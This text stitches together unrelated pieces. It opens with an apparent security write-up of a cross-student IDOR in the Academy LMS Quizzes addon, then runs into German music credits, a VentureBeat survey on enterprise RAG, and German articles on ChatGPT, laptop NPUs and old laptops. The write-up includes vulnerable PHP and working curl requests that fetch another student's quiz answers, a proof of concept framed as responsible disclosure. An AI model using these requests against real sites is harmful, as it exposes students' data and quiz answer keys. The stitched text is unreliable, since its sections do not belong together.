The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.

The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.

When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.

The Quiz attempts controller told a different story.

Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.

The Vulnerability: Two Separate Failure Points

The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.

Failure point one: the target user was read from the request, not the session.

// addons/quizzes/api/quiz-attempts.php, line ~305
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.

Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.

// lines ~308-315
$is_administrator = current_user_can( 'administrator' );
$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );
$is_public        = \Academy\Helper::is_public_course( $course_id );

if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
    // returns attempt details
}

Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.

The database query confirmed the full impact:

// classes/query.php, get_quiz_attempt_details()
"SELECT
    attempt_answers.attempt_id,
    attempt_answers.user_id,
    attempt_answers.is_correct,
    attempt_answers.answer as given_answer,
    quiz_answers.answer_title as correct_answer,
    quiz_answers.answer_content,
    quiz_answers.is_correct as is_correct_answer,
    quiz_questions.question_title,
    quiz_questions.question_type,
    ...
FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
    ON attempt_answers.question_id = quiz_answers.question_id
WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"

The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.

The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.

Both were confirmed exploitable during testing.

The Contrast with the Fixed Code

What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:

// includes/api/notes.php (fixed)
public function get_user_notes( $request ) {
    $user_id = get_current_user_id();
    // ...
}

No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.

This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.

Live Proof of Concept

I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.

Actors in the test:

• Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course
• Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker

The attacker authenticates normally and obtains a valid REST nonce:

curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
curl -s -b cj.txt -c cj.txt \
  --data-urlencode 'log=pocsubscriber' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'testcookie=1' \
  "http://TARGET/wp-login.php" -o /dev/null

NONCE=$(curl -s -b cj.txt \
  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")

The attacker then sends a request supplying the victim’s user_id and attempt_id:

curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"

The response:

{
  "3": {
    "attempt_id": "3",
    "user_id": "5",
    "is_correct": true,
    "given_answer": [],
    "correct_answer": [
      {
        "answer_id": "2",
        "quiz_id": "33",
        "answer_title": "SECRET_CORRECT_Paris",
        "answer_order": "1"
      }
    ],
    "answer_content": "CORRECT_ANSWER_CONTENT",
    "question_title": "Capital of France?",
    "question_type": "true_false"
  }
}

User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:

curl -s -b cj.txt \
  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
  --data-urlencode 'security=ACADEMY_NONCE' \
  --data-urlencode 'course_id=32' \
  --data-urlencode 'attempt_id=3' \
  --data-urlencode 'user_id=5' \
  "http://TARGET/wp-admin/admin-ajax.php"

Response: "success": true, same data.

Impact Assessment

The impact has two distinct dimensions.

The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.

The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.

The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.

CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Disclosure Timeline

Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02

Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02

Submitted to WPScan vulnerability database with CVE request: 2026–07–02

WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02

Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10

Write-up published: 2026–07–10

The Fix

The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:

// Before (vulnerable):
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

// After (fixed):
$current_user_id = get_current_user_id();

The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.

What This Teaches

A few things stood out during this research that are worth naming explicitly.

The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.

The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.

Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.

If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.

How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

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Quellen:
https://docs.google.com/document/d/1fPiySfmprfR4YyKA3gaNakYRC2m_v8S_Z8MgnJcRSYo/edit?tab=t.0


Musik:
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Behind the Shadow - Ruiqi Zhao
Kansas - Christian Andersen
Long Way Home - Aiyo
Temporarily Virtual - Cobby Costa
Voigt-Kampff - Martin Baekkevold
Beacons - Cobby Costa
The Sky Is Closing In - Cobby Costa
Detour Switch - Cobby Costa
Red Alert - Lennon Hutton
Strange Interference - Cobby Costa
The Shadow - Christoffer Moe Ditlevsen
Impasse - Silver Maple
Now That's an Alarm! - Harry Edvino
Riot in the Capital - Bonnie Grace
The Mutants - Farrell Wooten
Knee Deep - Blue Saga
Suspiral - Anthony Earls
Ghostly - Tigerblood Jewel
Parallel Existence - Raymond Grouse
Tracker - Christoffer Moe Ditlevsen
Slow Discovery - Cobby Costa

Artlist:
Oliver Michael - Witness - Extended version
Sebastian Borromeo - See Through the Crack
Morphlexis - Submarine
IamDayLight - Hypnotize
Artlist Musical Logos - Tensive Logo 1
Or Chausha - Are You Still Alive - No Strings
Ian Post - Mayhem
Isaac DaBom - Keep Your Eyes Open
Risian - Mission Critical
Or Chausha - No Decides
Stanley Gurvich - Transmission
Oran Alaloof - Dark Apoko

Lens Distortions:
Riptide - No Pulse
Tempered
Why Be Normal - No High Percussion
Force Multiplier - No High Percussion



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Schön, verständlich, kritisch und fundiert. Wir machen Essays zu Fragen, die du dir noch nie, oder viel zu oft gestellt hast.

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This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

OpenAI hat die Zeichenlimits für benutzerdefinierte Anweisungen in ChatGPT für ausgewählte kostenpflichtige Tarife deutlich angehoben. Gleichzeitig erhält die interne Suche neue Funktionen und Filter, mit denen sich Chats, Dokumente, Bilder und Projekte gezielter durchsuchen lassen.

Seit einiger Zeit verkaufen die Hersteller Notebooks als KI-PC oder Copilot+ PC. Der Zusatz steht für einen Umbau der inneren Technik. Neben dem Hauptprozessor (CPU) und der Grafikeinheit (GPU) sitzt jetzt ein dritter Baustein auf dem Chip, die neuronale Recheneinheit (Neural Processing Unit, NPU). Die NPU berechnet KI-Funktionen energieeffizient direkt auf dem Gerät. Wer ein KI-Notebook kaufen möchte, sollte auf die entscheidende Leistungskennzahl achten.

Für das Siegel Copilot+ verlangt Microsoft eine NPU mit mindestens 40 TOPS, dazu 16 GByte Arbeitsspeicher und 256 GByte SSD. Aktuelle Notebook-Chips erreichen das mühelos, so kommt Intels Core Ultra Series 3 auf 50 TOPS allein für die NPU.

AMD (Ryzen AI 300 und 400), Qualcomm (Snapdragon X2) und Apple (M-Serie mit Neural Engine) liefern NPUs in ähnlicher Größenordnung. Erst die Rollenverteilung zwischen den drei Rechenwerken sorgt für flüssige KI-Funktionen im täglichen Gebrauch.

Die CPU steuert und verteilt

Die CPU steuert alle Vorgänge im Notebook. Sie startet Programme, verwaltet den Arbeitsspeicher und hält das Betriebssystem aktiv. Ihre wenigen, dafür kräftigen Kerne arbeiten Befehle nacheinander ab und eignen sich für verzweigte Aufgaben mit vielen Entscheidungen.

Bei KI-Funktionen übernimmt die CPU die Rolle des Verteilers. Sie erkennt, welche Art von Aufgabe ansteht, und schickt sie an das passende Rechenwerk. Eine Echtzeitaufgabe geht zur NPU, eine schwere Rechenlast zur GPU, eine reine Systemaufgabe bleibt bei der CPU selbst.

Sobald das Ergebnis vorliegt, fügt die CPU es an der richtigen Stelle ein, zum Beispiel den unscharfen Hintergrund in dein Videobild.

AMD

Die GPU rechnet massiv parallel

Die GPU (Diese Grafikkarten sind ihr Geld wert) rechnet mit Hunderten bis Tausenden kleiner Kerne, die gleiche Rechenschritte gleichzeitig ausführen. Die Bauweise kommt aus der Grafikdarstellung und taugt genauso für KI. Beim Spielen, bei der Videobearbeitung und beim 3D-Rendering liefert die GPU die Rechenleistung, ebenso beim Training großer KI-Modelle und bei schweren parallelen Rechenlasten.

Im Notebook steckt die GPU in zwei Formen. Eine integrierte Grafikeinheit sitzt zusammen mit CPU und NPU auf einem Chip, zum Beispiel Intel Arc oder AMD Radeon. Eine dedizierte Grafikkarte wie eine NVIDIA GeForce RTX bringt eigenen Videospeicher (VRAM) mit und schafft mehr Leistung, zieht dafür mehr Strom und erzeugt mehr Wärme.

XFX

Die NPU spart Strom bei KI

Die NPU ist auf eine einzige Sorte Mathematik ausgelegt, die hinter neuronalen Netzen steckt. Es geht um Matrixrechnungen, also viele Multiplikationen und Additionen auf einmal. Genau dafür nutzt die NPU spezielle Recheneinheiten (MAC) und schnellen Speicher direkt auf dem Chip, damit die Daten kurze Wege haben.

Der große Vorteil ist der niedrige Stromverbrauch. Eine NPU zieht für KI-Aufgaben nur wenige Watt, eine Grafikkarte im Rechenzentrum kommt unter voller Trainingslast auf mehrere Hundert Watt.

Die NPU rechnet zudem häufig mit vereinfachter Genauigkeit (INT8 statt der feineren Formate einer GPU). Das spart Energie und beschleunigt die Antwort, reicht für KI-Inferenz aber völlig aus.

KI-Inferenz meint das Ausführen eines fertig trainierten Modells, also das Anwenden. Das Anlernen des Modells bleibt Sache der GPU. Für Grafik, Spiele oder allgemeine Programme taugt die NPU nicht. Ihre Stärke liegt allein bei KI, die dauerhaft und im Hintergrund aktiv ist.

Sam Singleton

Was TOPS wirklich aussagen

TOPS steht für Tera Operations Per Second, also Billionen Rechenoperationen pro Sekunde. Eine NPU mit 50 TOPS schafft 50 Billionen Rechenoperationen in einer Sekunde. Je höher der Wert, desto mehr KI-Rechenschritte passen in dieselbe Zeit.

Ein Vergleich der TOPS allein ist wenig aussagekräftig. Die NPU rechnet mit vereinfachter Genauigkeit und meldet andere Werte als eine GPU, deren TOPS Grafik und KI zusammenfassen. Desktop-Grafikkarten kommen so auf über 1.000 TOPS, ihre NPU-Kollegen im Notebook auf 40 bis 80. Beide Zahlen messen nicht dasselbe.

Für den Kauf zählt eine Angabe. Wirbt ein Hersteller mit einer hohen Gesamtzahl aus CPU, GPU und NPU, sagt das wenig über das Copilot+ Siegel. Microsoft verlangt die 40 TOPS allein von der NPU. Ein prüfender Blick auf den NPU-Wert im Datenblatt schützt vor Enttäuschung.

Warum lokale KI Ihnen nützt

KI direkt auf dem Notebook (Was kann KI lokal auf dem PC? 7 Anwendungsmöglichkeiten) bringt mehrere handfeste Vorteile gegenüber der Cloud:

• Datenschutz: Fotos, Dokumente und Sprachaufnahmen bleiben auf dem Gerät und gelangen nicht auf fremde Server.
• Tempo: Die Antwort kommt ohne Umweg über das Internet, oft in Echtzeit.
• Offline-Betrieb: Funktionen wie Übersetzung oder Rauschunterdrückung arbeiten auch ohne Verbindung.
• Akku: Die sparsame NPU hält KI-Funktionen aktiv, ohne den Akku schnell zu leeren.

Eine Grenze gehört dazu. Cloud-Dienste wie ChatGPT oder Google Gemini rechnen auf externen Servern. Eine NPU beschleunigt sie nicht, denn die Arbeit passiert gar nicht auf deinem Gerät. Der NPU-Vorteil greift bei lokalen Funktionen, zum Beispiel den KI-Effekten in Videocalls oder einem Sprachmodell, das direkt auf dem Notebook antwortet.

Microsoft

NPU-Funktionen unter Windows

Windows verteilt passende Aufgaben von sich aus an die NPU. In Videocalls sorgen die Windows Studio Effects für Hintergrundunschärfe, korrigierten Blickkontakt und eine ruhigere Tonspur. Live Captions übersetzen gesprochene Sprache in Untertitel, die Funktion Cocreator erzeugt Bilder aus einer Textbeschreibung, und Recall macht frühere Bildschirminhalte durchsuchbar.

Auch außerhalb von Windows nutzen Programme die NPU. Foto- und Videobearbeitung entfernt Objekte, tauscht Hintergründe oder rechnet Bilder hoch. Kleine Sprachmodelle antworten direkt auf dem Notebook, ohne Daten nach außen zu geben. Ob die NPU gerade arbeitet, zeigt der Windows-Task-Manager im Bereich “Leistung”.

NPU, TPU und der Blick über das Notebook

NPUs stecken nicht nur in Notebooks. Smartphones enthalten sie seit Jahren, Apple brachte mit dem iPhone X eine frühe Variante, Huawei kurz darauf eine eigene. Im Rechenzentrum gibt es eine verwandte Sonderform, die TPU (Tensor Processing Unit) von Google. Sie ist auf das KI-Framework TensorFlow zugeschnitten und beschleunigt KI-Dienste in der Cloud.

Kaufhinweise für Ihr KI-Notebook

Die drei Rechenwerke ergänzen sich. Die CPU steuert und verteilt, die GPU liefert rohe Parallelleistung für Grafik und Modelltraining, die NPU erledigt dauerhafte KI-Aufgaben energiesparend. Für ein neues KI-Notebook lohnt der Blick auf den NPU-Wert.

40 TOPS öffnen die Copilot+ Funktionen von Windows, mehr Reserve mit 50 bis 80 TOPS aktueller Chips hält länger für kommende KI-Features vor. Dazu gehören 16 GByte Arbeitsspeicher als sinnvolle Untergrenze. Damit bist du für die KI-Funktionen der nächsten Jahre gut aufgestellt.

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Die erste Überraschung gab es bereits, bevor ich überhaupt einen Browser-Tab geöffnet hatte: Der sieben Jahre alte Microsoft Surface Laptop 3 startete schneller als die brandneuen Geräte, mit denen ich ihn hier vergleichen wollte. Die besten Notebooks aller Klassen finden Sie in unserem Vergleichstest.

Das hätte eigentlich nicht passieren dürfen. Immer wenn den Herstellern nur wenig zu den Verbesserungen gegenüber der Vorgängergeneration einfällt, greifen sie zu einem bewährten Vergleich: Wie schneidet der neue PC im Vergleich zu einem fünf Jahre alten Modell ab?

Das ist eine sichere Wette. Egal, wie wenige Verbesserungen ein neuer Chip bietet, er wird immer besser sein als ein PC aus längst vergangenen Zeiten. Neu ist eben immer besser, oder? Normalerweise gilt dieser simple Grundsatz. Aber angesichts der angespannten Weltlage kann einem der Neukauf eines Computers schnell verhagelt werden. Daher stellt sich eine Frage: Kann man Geld sparen, wenn man einen älteren Laptop behält oder diesen gebraucht kauft? Und worauf muss man bei dieser Sparmaßnahme verzichten?

Ich habe dafür unsere Lager durchforstet und eine Sammlung neuer und älterer Laptops in unser Testlabor geschleppt. Mit diesem Versuch wollte ich herausfinden, ob die PC-Hersteller mit ihren Lobeshymnen auf neue Geräte tatsächlich die Wahrheit sagen.

Mit meinen Erkenntnissen will ich Ihnen weder einen neuen Laptop verkaufen noch mich dafür aussprechen, alte Geräte einfach weiterzuverwenden. Ich habe lediglich versucht, weitverbreitete Geräte unter verschiedenen Szenarien miteinander zu vergleichen. Dies soll die Vorteile von Neugeräten und älteren Modellen aufzeigen. Dabei habe ich mich auf die folgenden Punkte konzentriert: Boot-Zeit, die Zeit zum Exportieren einer PDF-Datei oder die Zeit für das Entpacken eines Archivs. Mit diesen Ergebnissen können Sie selbst entscheiden, ob Sie durch den Neukauf tatsächlich viel Zeit gewinnen werden.

Eigentlich wollte ich dafür Geräte nutzen, die maximal fünf Jahre alt sind. Doch ich konnte in unserem Lager nur einen wenig gebrauchten, sieben Jahre alten Laptop ausfindig machen: den Microsoft Surface Laptop 3. Dieses Gerät stammt noch aus Zeiten vor der Corona-Pandemie. Dieses Urgestein habe ich mit mehreren modernen Laptops verglichen: dem Asus ZenBook (UX3607OA) mit einem Snapdragon X2 Elite Extreme und Windows auf ARM-Basis sowie mit dem Asus ZenBook Duo mit einem Intel Core Ultra 300 (Panther Lake) der Spitzenklasse. Beide sind erst in diesem Jahr auf den Markt gekommen.

Mark Hachman / Foundry

Es stellt sich die Frage: Können die neuen Modelle besser abschneiden? Lohnt sich dieser Vorsprung? Bilden Sie sich selbst ein Urteil.

Der alte Laptop startet schneller

Mein erster Test: die Startzeit. Die Ära der Festplatten liegt längst hinter uns. Die Geschwindigkeit des Hochfahrens hängt daher primär vom Tempo der verbauten SSD ab. Auch die Anzahl der Anwendungen, die beim Start geladen werden müssen, spielt eine Rolle.

